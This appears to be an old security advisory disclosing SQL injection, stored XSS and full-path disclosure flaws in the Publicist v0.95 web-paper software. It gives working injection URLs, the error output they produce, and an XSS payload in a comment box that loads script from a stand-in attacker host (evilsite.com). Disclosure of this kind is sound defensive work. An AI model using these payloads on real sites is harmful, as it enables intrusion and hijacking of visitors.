Publicist v0.95 - XSS And Full Path Errors

Publicist v0.95

Homepage:
http://publicist.kau.se/

Description:
Publicist is a free web server software, created for web papers, that allows groups of people to write and
publish together on the web (i.e. schools or single classes, clubs, or other groups who wish to express
themselves).

---

Exploits & Vulnerabilities:

Full path and SQL Query errors:

Type the following in login box: [BODY ONLOAD=alert('XSS')]
and it produces:

1064: You have an error in your SQL syntax near 'XSS')>'' at line 1 Warning: mysql_fetch_array(): supplied
argument is not a valid MySQL result resource in /var/www/html.example. com/left.php on line 63

SQL injection on return variable: http://www.example.com/info.php?id=1147443203&return_=3'

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
/var/www/html.publicist. kau.se/count.php on line 6 Unable to process query: You have an error in your SQL
syntax near ''/info.php?id=1147443203&return_=3'', count=1' at line 1

SQL Injection on visa variable:
http://www.example.com/hitlist_editorial_public_info.php?visa=dan.akerlund'

Warning: mysql_numrows(): supplied argument is not a valid MySQL result resource in
/var/www/examplesite.com/ hitlist_editorial_public_info.php on line 73

Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in
/var/www/examplesite.com /hitlist_editorial_public_info.php on line 74

Submiting html tags in the comment boxes produces this SQL queue error:

1064: You have an error in your SQL syntax near 'evilcode'))>', c_show = '1', c_time = '1' at line 7

XSS Vulnerability:

An XSS attack is possible by entering in the comment box some html code like this:

[IMG SRC=javascript:window.location('http://www.evilsite.com/evilcode.js')]

It should also be noted that calling the files c_getMsg.php, c_getUser.php, count.php, display full path
errors and contain mysql connect info:

Example of the above errors:

Warning: mysql_connect(): Access denied for user: 'example@localhost' (Using password: YES) in
/var/www/html.example.com/c_getUser.php on line 2